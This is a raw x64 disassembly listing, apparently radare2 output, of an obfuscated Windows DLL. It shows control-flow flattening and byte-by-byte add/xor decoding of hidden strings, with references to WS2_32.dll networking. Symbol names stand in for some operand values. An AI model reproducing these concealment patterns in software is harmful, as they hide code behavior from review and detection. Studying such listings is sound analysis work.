je 0x180033f40
cmp ecx, 0xb69627d7
jne 0x180033f20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033f20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x11], cl
mov dword [rsp + 0x60], WSAStartup
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033f86
cmp ecx, 0x1d4dde82
jne 0x180033f60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x11
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033f60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033fc0
cmp ecx, 0xb69627d7
jne 0x180033fa0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033fa0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x12], cl
mov dword [rsp + 0x60], 0x33
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034006
cmp ecx, 0x1d4dde82
jne 0x180033fe0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x12
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033fe0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180034040
cmp ecx, 0xb69627d7
jne 0x180034020
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180034020
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x13], cl
mov dword [rsp + 0x60], 0x24
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034086
cmp ecx, 0x1d4dde82
jne 0x180034060
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x13
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180034060
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800340c0
cmp ecx, 0xb69627d7
jne 0x1800340a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800340a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x14], cl
mov dword [rsp + 0x60], 0x23
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034106
cmp ecx, 0x1d4dde82
jne 0x1800340e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x14
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800340e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180034140
cmp ecx, 0xb69627d7
jne 0x180034120
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180034120
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x15], cl
mov dword [rsp + 0x60], 0x24
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034186
cmp ecx, 0x1d4dde82
jne 0x180034160
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x15
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180034160
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800341c0
cmp ecx, 0xb69627d7
jne 0x1800341a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800341a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x16], cl
mov dword [rsp + 0x60], 0x5e
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034206
cmp ecx, 0x1d4dde82
jne 0x1800341e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x16
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800341e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180034240
cmp ecx, 0xb69627d7
jne 0x180034220
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180034220
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x17], cl
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034286
cmp ecx, 0x1d4dde82
jne 0x180034260
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x17
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180034260
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800342c0
cmp ecx, 0xb69627d7
jne 0x1800342a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800342a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x18], cl
mov dword [rsp + 0x60], 0x33
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180034306
cmp ecx, 0x1d4dde82
jne 0x1800342e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x18
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800342e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180034340
cmp ecx, 0xb69627d7
jne 0x180034320
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180034320
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x19], cl
add rax, 0x1a
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x60], 0x34
mov qword [rsp + 0x40], rdi
mov eax, 0x1d4dde82
nop word cs:[rax + rax]
cmp eax, 0x60a30cce
je 0x180034393
cmp eax, 0x1d4dde82
jne 0x180034370
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
add al, 0x19
mov byte [rsp + 0x50], al
mov eax, 0x60a30cce
jmp 0x180034370
mov al, byte [rsp + 0x50]
mov byte [rsp + 0x50], al
mov eax, 0xb69627d7
cmp eax, 0x8e4c28a0
je 0x1800343be
cmp eax, 0xb69627d7
jne 0x1800343a0
movsx eax, byte [rsp + 0x50]
mov dword [rsp + 0x40], eax
mov eax, 0x8e4c28a0
jmp 0x1800343a0
mov eax, dword [rsp + 0x60]
xor eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
mov byte [rcx], al
mov ecx, 0x1f79722
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x1f79721
jg 0x180034400
cmp ecx, 0xcf6a658f
je 0x180034456
cmp ecx, 0xdd2be186
jne 0x1800343e0
jmp 0x1800346f9
cmp ecx, 0x21f4a74e
je 0x180034477
cmp ecx, 0x1f79722
jne 0x1800343e0
mov rcx, qword [rsp + 0x78]
mov dword [rsp + 0x4c], reloc.WS2_32.dll_WSAStartup
mov qword [rsp + 0x40], rdi
mov edx, 0x1d4dde82
nop word [rax + rax]
cmp edx, 0x60a30cce
je 0x180034495
cmp edx, 0x1d4dde82
jne 0x180034430
mov rdx, qword [rsp + 0x40]
movzx edx, byte [rdx]
add dl, 0x1a
mov byte [rsp + 0x5c], dl
mov edx, 0x60a30cce
jmp 0x180034430
mov rax, qword [rsp + 0x50]
add rax, 1
mov rcx, qword [rsp + 0x68]
add rcx, 0x21
mov qword [rsp + 0x60], rcx
mov ecx, 0x21f4a74e
jmp 0x1800343e0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x60]
mov ecx, 0x21f4a74e
mov edx, 0xdd2be186
cmove ecx, edx
jmp 0x1800343e0
mov dl, byte [rsp + 0x5c]
mov byte [rsp + 0x5c], dl
mov edx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x8e4c28a0
je 0x1800344d0
cmp edx, 0xb69627d7
jne 0x1800344b0
movsx edx, byte [rsp + 0x5c]
mov dword [rsp + 0x40], edx
mov edx, 0x8e4c28a0
jmp 0x1800344b0
mov edx, dword [rsp + 0x4c]
xor edx, dword [rsp + 0x40]
mov byte [rcx + 1], dl
mov dword [rsp + 0x4c], 0x64
mov qword [rsp + 0x40], rdi
mov edx, 0x1d4dde82
nop dword [rax]
cmp edx, 0x60a30cce
je 0x180034516
cmp edx, 0x1d4dde82
jne 0x1800344f0
mov rdx, qword [rsp + 0x40]
movzx edx, byte [rdx]
add dl, 0x1b
mov byte [rsp + 0x5c], dl
mov edx, 0x60a30cce
jmp 0x1800344f0
mov dl, byte [rsp + 0x5c]
mov byte [rsp + 0x5c], dl
mov edx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x8e4c28a0
je 0x180034550
cmp edx, 0xb69627d7
jne 0x180034530
movsx edx, byte [rsp + 0x5c]
mov dword [rsp + 0x40], edx
mov edx, 0x8e4c28a0
jmp 0x180034530
mov edx, dword [rsp + 0x4c]
xor edx, dword [rsp + 0x40]
mov byte [rcx + 2], dl
mov dword [rsp + 0x4c], 0x66
mov qword [rsp + 0x40], rdi
mov edx, 0x1d4dde82
nop dword [rax]
cmp edx, 0x60a30cce
je 0x180034596
cmp edx, 0x1d4dde82
jne 0x180034570
mov rdx, qword [rsp + 0x40]
movzx edx, byte [rdx]
add dl, 0x1c
mov byte [rsp + 0x5c], dl
mov edx, 0x60a30cce
jmp 0x180034570
mov dl, byte [rsp + 0x5c]
mov byte [rsp + 0x5c], dl
mov edx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x8e4c28a0
je 0x1800345d0
cmp edx, 0xb69627d7
jne 0x1800345b0
movsx edx, byte [rsp + 0x5c]
mov dword [rsp + 0x40], edx
mov edx, 0x8e4c28a0
jmp 0x1800345b0
mov edx, dword [rsp + 0x4c]
xor edx, dword [rsp + 0x40]
mov byte [rcx + 3], dl
mov dword [rsp + 0x4c], pe_nt_image_headers64
mov qword [rsp + 0x40], rdi
mov edx, 0x1d4dde82
nop dword [rax]
cmp edx, 0x60a30cce
je 0x180034616
cmp edx, 0x1d4dde82
jne 0x1800345f0
mov rdx, qword [rsp + 0x40]
movzx edx, byte [rdx]
add dl, 0x1d
mov byte [rsp + 0x5c], dl
mov edx, 0x60a30cce
jmp 0x1800345f0
mov dl, byte [rsp + 0x5c]
mov byte [rsp + 0x5c], dl
mov edx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x8e4c28a0
je 0x180034650
cmp edx, 0xb69627d7
jne 0x180034630
movsx edx, byte [rsp + 0x5c]
mov dword [rsp + 0x40], edx
mov edx, 0x8e4c28a0
jmp 0x180034630
mov edx, dword [rsp + 0x4c]
xor edx, dword [rsp + 0x40]
mov byte [rcx + 4], dl
add rcx, 5
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x4c], WSAStartup
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop word cs:[rax + rax]
cmp ecx, 0x60a30cce
je 0x1800346a6
cmp ecx, 0x1d4dde82
jne 0x180034680
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x1e
mov byte [rsp + 0x5c], cl
mov ecx, 0x60a30cce
jmp 0x180034680
mov cl, byte [rsp + 0x5c]
mov byte [rsp + 0x5c], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800346e0
cmp ecx, 0xb69627d7
jne 0x1800346c0
movsx ecx, byte [rsp + 0x5c]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800346c0
mov ecx, dword [rsp + 0x4c]
xor ecx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov byte [rdx], cl
mov ecx, 0xcf6a658f
jmp 0x1800343e0
mov rcx, rdi
call fcn.180037cd0
lea rsi, [rsp + 0x160]
mov rcx, rsi
mov rdx, rax
mov r8d, ebp
call fcn.18001e560
mov rcx, rsi
lea rdi, section..data
mov rdx, rdi
mov r8d, 0x122c
call fcn.18001e7e0
mov rsi, qword [rsp + 0x88]
mov qword [rsi + 8], rdi
call fcn.1800c7d5c
mov ebp, eax
call fcn.1800c7d5c
imul eax, ebp
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov dword [rsp + 0xac], ecx
mov rax, qword [rsi + 8]
mov qword [rsp + 0x100], rax
mov eax, 0x7ccd5dc1
lea rsi, [rsp + 0x578]
mov r10d, 0xed3b0916
mov edi, 0x699f8796
jmp 0x18003241a
cmp eax, 0xbb7ecb5f
jne 0x18003241a
jmp 0x1800373f4
lea rcx, [rsp + 0x568]
mov qword [rsp + 0xd0], rcx
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x60], rcx
mov rax, qword [rsp + 0x60]
mov byte [rax], 0x5f
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x40], 0x43
mov edx, 0x4f38ddca
mov al, byte [rsp + 0x568]
nop
cmp edx, 0x82f8561f
je 0x180034a30
cmp edx, 0x4f38ddca
jne 0x1800347e0
mov byte [rsp + 0x138], al
mov edx, 0x82f8561f
jmp 0x1800347e0
mov qword [rsp + 0x78], rsi
mov rax, qword [rsp + 0x78]
mov byte [rax], 0x5e
mov rax, qword [rsp + 0x78]
add rax, 1
mov qword [rsp + 0x50], rax
mov eax, 0xf22ccaf0
movabs r8, 0xcbf29ce484222325
movabs r9, 0x100000001b3
nop word cs:[rax + rax]
nop
cmp eax, 0x7c927bd0
je 0x180034a80
cmp eax, 0xf22ccaf0
jne 0x180034850
mov qword [rsp + 0x138], rsi
mov eax, 0x2be76a49
nop
cmp eax, 0x157d9de7
je 0x180034897
cmp eax, 0x2be76a49
jne 0x180034870
mov rax, qword [rsp + 0x138]
movzx eax, byte [rax]
mov byte [rsp + 0x110], al
mov eax, 0x157d9de7
jmp 0x180034870
mov al, byte [rsp + 0x110]
xor al, 0x43
mov byte [rsp + 0x40], al
mov eax, 0x7c927bd0
jmp 0x180034850
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xe8]
mov r8d, 0x400
call rax
mov rax, qword [rsp + 0xb8]
lea rsi, [rsp + 0x138]
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
mov word [rax], 0x47e5
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x110], 0x25
mov edx, 0xb6c7733c
movzx ecx, word [rsp + 0x138]
nop dword [rax]
cmp edx, 0x15cdd920
je 0x180035030
cmp edx, 0xb6c7733c
jne 0x180034910
mov word [rsp + 0x40], cx
mov edx, 0x15cdd920
jmp 0x180034910
mov rax, qword [rsp + 0xc0]
mov eax, 0xf2e07bb4
nop dword [rax]
cmp eax, 0x475f954c
je 0x180035070
cmp eax, 0xf2e07bb4
jne 0x180034940
mov dword [rsp + 0x40], 0x18
mov eax, 0x9ba7a8c3
nop
cmp eax, 0x2c753497
je 0x18003499a
cmp eax, 0x9ba7a8c3
jne 0x180034960
movsxd rax, dword [rsp + 0x40]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x60], al
mov eax, 0x2c753497
jmp 0x180034960
mov al, byte [rsp + 0x60]
add al, 0x52
mov byte [rsp + 0x588], al
mov dword [rsp + 0x40], 0x18
mov eax, 0x9ba7a8c3
nop word cs:[rax + rax]
nop
cmp eax, 0x2c753497
je 0x1800349fa
cmp eax, 0x9ba7a8c3
jne 0x1800349c0
movsxd rax, dword [rsp + 0x40]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x60], al
mov eax, 0x2c753497
jmp 0x1800349c0
mov al, byte [rsp + 0x60]
add al, 0x65
mov byte [rsp + 0x589], al
lea rax, [rsp + 0x58a]
mov qword [rsp + 0x110], rax
lea rax, [0x1800dfa66]
mov qword [rsp + 0x138], rax
mov eax, 0x475f954c
jmp 0x180034940
movsx edx, byte [rsp + 0x138]
mov dword [rsp + 0x110], edx
mov edx, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp edx, 0xd33755b0
je 0x1800350d0
cmp edx, 0xff5b84f4
jne 0x180034a50
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x110]
mov dword [rsp + 0x138], edx
mov edx, 0xd33755b0
jmp 0x180034a50
mov al, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov ecx, 0xdfa43a06
cmp ecx, 0x32744f8d
jle 0x180034ac0
cmp ecx, 0x32744f8e
je 0x180034b4b
cmp ecx, 0x5992ab94
jne 0x180034a90
jmp 0x180035120
cmp ecx, 0xa6fa180c
je 0x180034b6c
cmp ecx, 0xdfa43a06
jne 0x180034a90
mov rcx, qword [rsp + 0x50]
mov edx, 0xf22ccaf0
nop
cmp edx, 0x7c927bd0
je 0x180034bea
cmp edx, 0xf22ccaf0
jne 0x180034ae0
mov qword [rsp + 0x138], rsi
mov edx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x157d9de7
je 0x180034b39
cmp edx, 0x2be76a49
jne 0x180034b10
mov rdx, qword [rsp + 0x138]
movzx edx, byte [rdx]
add dl, 1
mov byte [rsp + 0x68], dl
mov edx, 0x157d9de7
jmp 0x180034b10
mov dl, byte [rsp + 0x68]
xor dl, 0x6c
mov byte [rsp + 0x4c], dl
mov edx, 0x7c927bd0
jmp 0x180034ae0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x110]
mov ecx, 0x32744f8e
mov edx, 0x5992ab94
cmove ecx, edx
jmp 0x180034a90
mov rax, qword [rsp + 0x40]
mov al, byte [rax]
mov ecx, 0xf22ccaf0
nop dword [rax + rax]
cmp ecx, 0x7c927bd0
je 0x180034c6b
cmp ecx, 0xf22ccaf0
jne 0x180034b80
mov qword [rsp + 0x138], rsi
mov ecx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x157d9de7
je 0x180034bd9
cmp ecx, 0x2be76a49
jne 0x180034bb0
mov rcx, qword [rsp + 0x138]
movzx ecx, byte [rcx]
add cl, 6
mov byte [rsp + 0x68], cl
mov ecx, 0x157d9de7
jmp 0x180034bb0
mov cl, byte [rsp + 0x68]
xor cl, al
mov byte [rsp + 0x4c], cl
mov ecx, 0x7c927bd0
jmp 0x180034b80
mov dl, byte [rsp + 0x4c]
mov byte [rcx + 1], dl
mov edx, 0xf22ccaf0
nop word cs:[rax + rax]
cmp edx, 0x7c927bd0
je 0x180034ceb
cmp edx, 0xf22ccaf0
jne 0x180034c00
mov qword [rsp + 0x138], rsi
mov edx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x157d9de7
je 0x180034c59
cmp edx, 0x2be76a49
jne 0x180034c30
mov rdx, qword [rsp + 0x138]
movzx edx, byte [rdx]
add dl, 2
mov byte [rsp + 0x68], dl
mov edx, 0x157d9de7
jmp 0x180034c30
mov dl, byte [rsp + 0x68]
xor dl, 0x6f
mov byte [rsp + 0x4c], dl
mov edx, 0x7c927bd0
jmp 0x180034c00
mov al, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x60]
mov byte [rcx], al
mov rax, qword [rsp + 0x60]
mov ecx, 0xf22ccaf0
cmp ecx, 0x7c927bd0
je 0x180034d6b
cmp ecx, 0xf22ccaf0
jne 0x180034c80
mov qword [rsp + 0x138], rsi
mov ecx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x157d9de7
je 0x180034cd9
cmp ecx, 0x2be76a49
jne 0x180034cb0
mov rcx, qword [rsp + 0x138]
movzx ecx, byte [rcx]
add cl, 7
mov byte [rsp + 0x68], cl
mov ecx, 0x157d9de7
jmp 0x180034cb0
mov cl, byte [rsp + 0x68]
xor cl, 0x6e
mov byte [rsp + 0x4c], cl
mov ecx, 0x7c927bd0
jmp 0x180034c80
mov dl, byte [rsp + 0x4c]
mov byte [rcx + 2], dl
mov edx, 0xf22ccaf0
nop word [rax + rax]
cmp edx, 0x7c927bd0
je 0x180034deb
cmp edx, 0xf22ccaf0
jne 0x180034d00
mov qword [rsp + 0x138], rsi
mov edx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x157d9de7
je 0x180034d59
cmp edx, 0x2be76a49
jne 0x180034d30
mov rdx, qword [rsp + 0x138]
movzx edx, byte [rdx]
add dl, 3
mov byte [rsp + 0x68], dl
mov edx, 0x157d9de7
jmp 0x180034d30
mov dl, byte [rsp + 0x68]
xor dl, 0x73
mov byte [rsp + 0x4c], dl
mov edx, 0x7c927bd0
jmp 0x180034d00
mov cl, byte [rsp + 0x4c]
mov byte [rax + 1], cl
mov ecx, 0xf22ccaf0
nop word [rax + rax]
cmp ecx, 0x7c927bd0
je 0x180034e6b
cmp ecx, 0xf22ccaf0
jne 0x180034d80
mov qword [rsp + 0x138], rsi
mov ecx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x157d9de7
je 0x180034dd9
cmp ecx, 0x2be76a49
jne 0x180034db0
mov rcx, qword [rsp + 0x138]
movzx ecx, byte [rcx]
add cl, 8
mov byte [rsp + 0x68], cl
mov ecx, 0x157d9de7
jmp 0x180034db0
mov cl, byte [rsp + 0x68]
xor cl, 0x64
mov byte [rsp + 0x4c], cl
mov ecx, 0x7c927bd0
jmp 0x180034d80
mov dl, byte [rsp + 0x4c]
mov byte [rcx + 3], dl
mov edx, 0xf22ccaf0
nop word [rax + rax]
cmp edx, 0x7c927bd0
je 0x180034eeb
cmp edx, 0xf22ccaf0
jne 0x180034e00
mov qword [rsp + 0x138], rsi
mov edx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x157d9de7
je 0x180034e59
cmp edx, 0x2be76a49
jne 0x180034e30
mov rdx, qword [rsp + 0x138]
movzx edx, byte [rdx]
add dl, 4
mov byte [rsp + 0x68], dl
mov edx, 0x157d9de7
jmp 0x180034e30
mov dl, byte [rsp + 0x68]
xor dl, 0x65
mov byte [rsp + 0x4c], dl
mov edx, 0x7c927bd0
jmp 0x180034e00
mov cl, byte [rsp + 0x4c]
mov byte [rax + 2], cl
mov ecx, 0xf22ccaf0
nop word [rax + rax]
cmp ecx, 0x7c927bd0
je 0x180034f6b
cmp ecx, 0xf22ccaf0
jne 0x180034e80
mov qword [rsp + 0x138], rsi
mov ecx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x157d9de7
je 0x180034ed9
cmp ecx, 0x2be76a49
jne 0x180034eb0
mov rcx, qword [rsp + 0x138]
movzx ecx, byte [rcx]
add cl, 9
mov byte [rsp + 0x68], cl
mov ecx, 0x157d9de7
jmp 0x180034eb0
mov cl, byte [rsp + 0x68]
xor cl, 0x6c
mov byte [rsp + 0x4c], cl
mov ecx, 0x7c927bd0
jmp 0x180034e80
mov dl, byte [rsp + 0x4c]
mov byte [rcx + 4], dl
mov edx, 0xf22ccaf0
nop word [rax + rax]
cmp edx, 0x7c927bd0
je 0x180034fdb
cmp edx, 0xf22ccaf0
jne 0x180034f00
mov qword [rsp + 0x138], rsi
mov edx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x157d9de7
je 0x180034f59
cmp edx, 0x2be76a49
jne 0x180034f30
mov rdx, qword [rsp + 0x138]
movzx edx, byte [rdx]
add dl, 5
mov byte [rsp + 0x68], dl
mov edx, 0x157d9de7
jmp 0x180034f30
mov dl, byte [rsp + 0x68]
xor dl, 0x48
mov byte [rsp + 0x4c], dl
mov edx, 0x7c927bd0
jmp 0x180034f00
mov cl, byte [rsp + 0x4c]
mov byte [rax + 3], cl
mov ecx, 0xf22ccaf0
nop word [rax + rax]
cmp ecx, 0x7c927bd0
je 0x180035001
cmp ecx, 0xf22ccaf0
jne 0x180034f80
mov qword [rsp + 0x138], rsi
mov ecx, 0x2be76a49
nop dword [rax]
cmp ecx, 0x157d9de7
je 0x180034fc9
cmp ecx, 0x2be76a49
jne 0x180034fa0
mov rcx, qword [rsp + 0x138]
movzx ecx, byte [rcx]
add cl, 0xa
mov byte [rsp + 0x68], cl
mov ecx, 0x157d9de7
jmp 0x180034fa0
mov cl, byte [rsp + 0x68]
xor cl, 0x65
mov byte [rsp + 0x4c], cl
mov ecx, 0x7c927bd0
jmp 0x180034f80
mov dl, byte [rsp + 0x4c]
mov byte [rcx + 5], dl
add rcx, 6
mov qword [rsp + 0x60], rcx
lea rcx, [0x1800dfa7a]
mov qword [rsp + 0x40], rcx
mov ecx, 0xa6fa180c
jmp 0x180034a90
mov cl, byte [rsp + 0x4c]
mov byte [rax + 4], cl
add rax, 5
mov rcx, qword [rsp + 0x78]
add rcx, 0xd
mov qword [rsp + 0x110], rcx
mov ecx, 0x32744f8e
jmp 0x180034a90
movzx edx, word [rsp + 0x40]
mov word [rsp + 0x60], dx
mov edx, 0x5ec8cbb6
nop
cmp edx, 0x8ebbb30
je 0x180035640
cmp edx, 0x5ec8cbb6
jne 0x180035040
movzx edx, word [rsp + 0x60]
mov ebp, dword [rsp + 0x110]
xor bp, dx
mov word [rsp + 0x40], bp
mov edx, 0x8ebbb30
jmp 0x180035040
mov rax, qword [rsp + 0x138]
mov al, byte [rax]
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word [rax + rax]
cmp ecx, 0x2c753497
je 0x180035680
cmp ecx, 0x9ba7a8c3
jne 0x180035090
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x180035090
mov edx, dword [rsp + 0x138]
mov byte [rcx + 1], dl
mov dword [rsp + 0x40], WSAStartup
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x1800356f0
cmp edx, 0x4f38ddca
jne 0x1800350f0
mov byte [rsp + 0x138], al
mov edx, 0x82f8561f
jmp 0x1800350f0
mov ecx, 0xe0515020
jmp 0x180035140
mov dl, byte [rsp + 0x4c]
mov byte [rax + rcx], dl
mov ecx, 0x6aae88be
mov rax, qword [rsp + 0x40]
nop dword [rax + rax]
cmp ecx, 0x44585a6d
jle 0x180035190
cmp ecx, 0x4a4cfc82
jle 0x1800351b0
cmp ecx, 0x699f8796
je 0x180035204
cmp ecx, 0x6aae88be
jne 0x1800352d5
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
cmp rcx, 0xb
mov ecx, 0xb6cb2b92
cmovb ecx, edi
jmp 0x180035140
cmp ecx, 0x12817be4
jg 0x1800351e0
cmp ecx, 0xb6cb2b92
je 0x180035213
cmp ecx, 0xe0515020
jne 0x180035140
mov ecx, 0x1c411e2d
jmp 0x180035140
cmp ecx, 0x44585a6e
je 0x18003522a
cmp ecx, 0x4905e7c3
jne 0x180035140
mov rcx, qword [rsp + 0x78]
add rcx, 1
mov qword [rsp + 0x50], rcx
mov ecx, 0x4a4cfc83
jmp 0x180035140
cmp ecx, 0x12817be5
je 0x1800352ba
cmp ecx, 0x1c411e2d
jne 0x180035140
mov ecx, 0x6aae88be
xor eax, eax
jmp 0x180035140
mov qword [rsp + 0x60], rsi
mov ecx, 0x12817be5
jmp 0x180035140
mov byte [rsp + 0x584], 0
mov qword [rsp + 0x78], rsi
mov ecx, 0x4905e7c3
jmp 0x180035140
mov rax, qword [rsp + 0x60]
